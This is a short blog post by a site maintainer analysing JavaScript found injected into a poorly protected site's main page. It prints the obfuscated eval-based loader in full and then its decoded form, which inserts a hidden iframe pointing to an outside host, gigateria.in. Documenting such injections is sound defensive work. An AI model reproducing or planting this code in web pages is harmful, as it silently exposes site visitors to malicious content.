JavaScript injection

This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain:


c=3-1;i=c-2;if(

</wbr>window.document)if(parseInt("</wbr>0"+"1"+"2"+"3")===83)try{Date(</wbr>).prototype.q}catch(egewgsd){</wbr>f=['-31i-31i65i62i-</wbr>8i0i60i71i59i77i69i61i70i76i6i</wbr>63i61i76i29i68i61i69i61i70i76i</wbr>75i26i81i44i57i63i38i57i69i61i</wbr>0i-1i58i71i60i81i-</wbr>1i1i51i8i53i1i83i-27i-31i-31i-</wbr>31i65i62i74i57i69i61i74i0i1i19</wbr>i-27i-31i-31i85i-</wbr>8i61i68i75i61i-8i83i-27i-31i-</wbr>31i-</wbr>31i60i71i59i77i69i61i70i76i6i7</wbr>9i74i65i76i61i0i-</wbr>6i20i65i62i74i57i69i61i-</wbr>8i75i74i59i21i-</wbr>1i64i76i76i72i18i7i7i63i65i63i</wbr>57i76i61i74i65i57i6i65i70i7i65</wbr>i70i6i59i63i65i23i15i-1i-</wbr>8i79i65i60i76i64i21i-1i9i8i-</wbr>1i-8i64i61i65i63i64i76i21i-</wbr>1i9i8i-1i-</wbr>8i75i76i81i68i61i21i-</wbr>1i78i65i75i65i58i65i68i65i76i8</wbr>1i18i64i65i60i60i61i70i19i72i7</wbr>1i75i65i76i65i71i70i18i57i58i7</wbr>5i71i68i77i76i61i19i68i61i62i7</wbr>6i18i8i19i76i71i72i18i8i19i-</wbr>1i22i20i7i65i62i74i57i69i61i22</wbr>i-6i1i19i-27i-31i-31i85i-27i-</wbr>31i-</wbr>31i62i77i70i59i76i65i71i70i-</wbr>8i65i62i74i57i69i61i74i0i1i83i</wbr>-27i-31i-31i-31i78i57i74i-</wbr>8i62i-8i21i-</wbr>8i60i71i59i77i69i61i70i76i6i59</wbr>i74i61i57i76i61i29i68i61i69i61</wbr>i70i76i0i-</wbr>1i65i62i74i57i69i61i-</wbr>1i1i19i62i6i75i61i76i25i76i76i</wbr>74i65i58i77i76i61i0i-</wbr>1i75i74i59i-1i4i-</wbr>1i64i76i76i72i18i7i7i63i65i63i</wbr>57i76i61i74i65i57i6i65i70i7i65</wbr>i70i6i59i63i65i23i15i-</wbr>1i1i19i62i6i75i76i81i68i61i6i7</wbr>8i65i75i65i58i65i68i65i76i81i2</wbr>1i-1i64i65i60i60i61i70i-</wbr>1i19i62i6i75i76i81i68i61i6i72i</wbr>71i75i65i76i65i71i70i21i-</wbr>1i57i58i75i71i68i77i76i61i-</wbr>1i19i62i6i75i76i81i68i61i6i68i</wbr>61i62i76i21i-1i8i-</wbr>1i19i62i6i75i76i81i68i61i6i76i</wbr>71i72i21i-1i8i-</wbr>1i19i62i6i75i61i76i25i76i76i74</wbr>i65i58i77i76i61i0i-</wbr>1i79i65i60i76i64i-1i4i-1i9i8i-</wbr>1i1i19i62i6i75i61i76i25i76i76i</wbr>74i65i58i77i76i61i0i-</wbr>1i64i61i65i63i64i76i-1i4i-</wbr>1i9i8i-1i1i19i-27i-31i-31i-</wbr>31i60i71i59i77i69i61i70i76i6i6</wbr>3i61i76i29i68i61i69i61i70i76i7</wbr>5i26i81i44i57i63i38i57i69i61i0</wbr>i-1i58i71i60i81i-</wbr>1i1i51i8i53i6i57i72i72i61i70i6</wbr>0i27i64i65i68i60i0i62i1i19i-</wbr>27i-31i-31i85'][0].split('i');</wbr>v="ev"+"a"+"l";}if(v)e=window[</wbr>v];w=f;s=[];r=String;for(;565!</wbr>=i;i+=1){j=i;s+=r["fr"+"omC"+"</wbr>harCode"](40+1*w[j]);}
if(f)z=s;e(z);

 


Last expression  e(z) evaluates following code:

 



if (document.getElementsByTagName('body')[0]){ 
     iframer(); 
} else { 
    document.write(""); 


function iframer(){ 
    var f = document.createElement('iframe');
    f.setAttribute('src','http://gigateria.in/in.cgi?7');
    f.style.visibility='hidden';
    f.style.position='absolute';
    f.style.left='0';
    f.style.top='0';
    f.setAttribute('width','10');
    f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
}


It is amazing,  how people create such things. This have to be a special state of mind.

Thank you for your interest!

We will contact you as soon as possible.

Send us a message

Oops, something went wrong
Please try again or contact us by email at info@tikalk.com